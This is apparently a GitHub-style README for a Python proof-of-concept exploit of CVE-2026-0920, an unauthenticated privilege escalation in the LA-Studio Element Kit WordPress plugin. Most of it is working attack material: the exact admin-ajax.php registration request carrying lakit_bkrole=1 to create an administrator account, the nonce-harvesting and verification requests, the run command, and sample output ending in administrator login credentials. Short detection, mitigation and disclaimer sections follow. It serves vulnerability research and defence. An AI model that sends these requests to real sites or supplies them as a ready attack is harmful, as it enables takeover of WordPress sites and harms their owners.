## https://sploitus.com/exploit?id=D4ED2ECD-B56D-5DCE-8F56-59F309E29B35
# CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
A proof-of-concept exploit for **CVE-2026-0920**, an unauthenticated privilege-escalation vulnerability in the **LA-Studio Element Kit** WordPress plugin.
The vulnerability allows an unauthenticated attacker to abuse the plugin's registration functionality and create a WordPress account with **administrator privileges**.
This repository contains a Python proof of concept designed for **authorized security research, vulnerability validation, and controlled laboratory environments**.
---
## Overview
| Property | Value |
| ----------------------- | ------------------------------------ |
| CVE | CVE-2026-0920 |
| Vendor | LA-Studio |
| Product | Element Kit |
| Platform | WordPress |
| Vulnerability | Unauthenticated Privilege Escalation |
| Authentication Required | No |
| CWE | CWE-269 |
| Impact | Administrator account creation |
| PoC | `exploit.py` |
The vulnerability exists in the plugin's registration functionality, where attacker-controlled registration data can influence the privilege assigned to a newly created WordPress account.
The vulnerable parameter is:
```text
lakit_bkrole
```
By supplying an elevated role value during registration, an unauthenticated attacker can cause the newly created account to receive WordPress administrator privileges.
---
# Vulnerability Description
LA-Studio Element Kit provides functionality for registering users through an AJAX-based registration handler.
The vulnerable flow exposes a registration mechanism through:
```text
/wp-admin/admin-ajax.php
```
The request uses the AJAX action:
```text
lakit_ajax
```
and performs a registration operation using:
```json
{
"action": "register"
}
```
The security issue occurs because the server-side registration logic does not properly prevent an unauthenticated client from supplying a privileged role value through:
```text
lakit_bkrole=1
```
An attacker can therefore construct a registration request that results in the creation of a WordPress account with the `administrator` role.
No existing WordPress account is required to perform the attack.
---
# Attack Flow
The PoC performs a three-stage process:
```text
┌──────────────────────┐
│ Bootstrap Endpoint │
│ │
│ Obtain nonce and │
│ plugin information │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Registration Request │
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Verification │
│ │
│ Locate created user │
│ Confirm administrator│
│ role │
└──────────────────────┘
```
The exploit does not rely solely on the registration response.
Instead, it verifies that the newly created account actually exists and has administrator privileges.
---
# Technical Details
## Step 1 — Bootstrap Endpoint
The first request targets:
```http
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
```
Example:
```bash
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
```
A vulnerable laboratory instance may return:
```json
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "admin@example.local",
"roles": [
"administrator"
]
}
]
}
```
The PoC extracts the nonce from:
```json
"nonce": "577023f674"
```
The nonce is then supplied to the registration request.
The bootstrap response can also expose the currently registered users, which allows the PoC to compare the user list before and after exploitation.
---
# Step 2 — Unauthenticated Registration Request
The PoC sends the registration request to:
```text
/wp-admin/admin-ajax.php
```
The request uses:
```text
action=lakit_ajax
```
with a nested registration action:
```text
action=register
```
A representative request is:
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"eviladmin@example.local","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
```
The relevant registration data is:
```json
{
"username": "eviladmin",
"email": "eviladmin@example.local",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
```
The security-sensitive parameter is:
```text
lakit_bkrole=1
```
The request is performed without an authenticated WordPress session.
---
# Registration Response
A successful registration request returns an HTTP `200 OK` response.
Example:
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
```
The JSON response is structured similarly to:
```json
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
```
The PoC reports:
```text
[+] User creation appears successful.
```
However, the PoC does **not** consider this response by itself sufficient proof of privilege escalation.
The account is verified in the next stage.
---
# Step 3 — Privilege Verification
After registration, the PoC requests the bootstrap endpoint again:
```http
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
```
The response now contains the newly created account.
Example:
```json
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "admin@example.local",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "eviladmin@example.local",
"roles": [
"administrator"
]
}
]
}
```
The critical evidence is:
```json
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
```
This confirms that the attacker-controlled account was created with administrator privileges.
---
# Why This Is a Privilege Escalation
A normal unauthenticated registration process should create an account with a restricted role such as:
```text
subscriber
```
The client should not be trusted to select a privileged WordPress role.
The vulnerable flow effectively allows:
```text
Unauthenticated attacker
|
v
Registration endpoint
|
v
Attacker-controlled role parameter
|
v
WordPress user creation
|
v
administrator
```
This crosses the intended privilege boundary without requiring prior authentication.
---
# Proof of Concept
## Requirements
The PoC requires:
```text
Python 3
Network access to the target
A vulnerable LA-Studio Element Kit installation
```
No WordPress credentials are required.
---
# Usage
Run the exploit using the target address and port:
```bash
python exploit.py -t 127.0.0.1 -p 8103
```
The syntax is:
```text
python exploit.py -t -p
```
For example:
```bash
python exploit.py -t 127.0.0.1 -p 8103
```
---
# Example Output
A successful exploitation run looks like:
```text
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / eviladmin@example.local
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
```
The important verification stages are:
```text
[+] User creation appears successful.
```
followed by:
```text
[+] User 'eviladmin' found. Roles: ['administrator']
```
and finally:
```text
[+] Confirmed administrator privilege!
```
The final message indicates that the PoC has verified the privilege escalation rather than merely receiving a successful HTTP response.
---
# Exploitation Sequence
The complete PoC execution can be summarized as:
```text
1. Target specified
|
v
2. Bootstrap endpoint requested
|
v
3. Registration nonce extracted
|
v
4. Existing users enumerated
|
v
5. Malicious registration request submitted
|
v
6. New account created
|
v
7. Bootstrap endpoint queried again
|
v
8. New account located
|
v
9. Account role checked
|
v
10. administrator privilege confirmed
```
---
# HTTP Request Summary
## Request 1 — Bootstrap
```http
GET /wp-json/cve-2026-0920/v1/bootstrap
```
Purpose:
```text
- Identify the plugin
- Obtain the nonce
- Obtain the registration endpoint
- Record existing users
```
---
## Request 2 — Registration
```http
POST /wp-admin/admin-ajax.php
```
Important parameters:
```text
action=lakit_ajax
_nonce=
actions=
```
Registration data:
```text
username=
email=
password=
password-confirm=
lakit_bkrole=1
```
Purpose:
```text
Create the attacker-controlled account.
```
---
## Request 3 — Verification
```http
GET /wp-json/cve-2026-0920/v1/bootstrap
```
Purpose:
```text
- Confirm the account exists
- Inspect the account's role
- Verify administrator privileges
```
Successful exploitation is confirmed when the response contains the generated account with:
```json
"roles": [
"administrator"
]
```
---
# Impact
Successful exploitation gives an unauthenticated attacker a WordPress administrator account.
Depending on the WordPress installation, administrator access can allow an attacker to:
```text
- Modify site content
- Create additional privileged accounts
- Modify plugins
- Modify themes
- Change WordPress settings
- Access privileged administrative functionality
- Modify application data
- Potentially execute server-side code through available WordPress functionality
```
The final impact depends on the hosting configuration, enabled plugins, WordPress security controls, and available administrative functionality.
---
# Detection Recommendations
Defenders should monitor for unexpected requests involving:
```text
/wp-admin/admin-ajax.php
```
combined with:
```text
action=lakit_ajax
```
and registration requests containing:
```text
lakit_bkrole
```
Unexpected WordPress administrator accounts should also be investigated.
A particularly useful defensive check is to audit recently created accounts and compare their timestamps and roles against legitimate administrative activity.
---
# Mitigation
The primary mitigation is to update **LA-Studio Element Kit** to a version containing the security fix.
Administrators should also:
```text
- Review existing administrator accounts
- Remove unauthorized accounts
- Audit recent WordPress user creation
- Monitor suspicious admin-ajax requests
- Restrict unnecessary exposure of WordPress administrative functionality
- Keep WordPress and installed plugins up to date
```
If compromise is suspected, rotate affected WordPress credentials and investigate for additional unauthorized modifications.
---
# Tested Environment
The PoC was tested in a controlled laboratory environment with:
```text
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
```
The successful test resulted in:
```text
User: eviladmin
Role: administrator
```
---
# Disclaimer
This project is provided for **authorized security research, vulnerability validation, and educational laboratory use**.
Only test systems that you own or have explicit permission to assess.
Do not use this PoC against systems without authorization.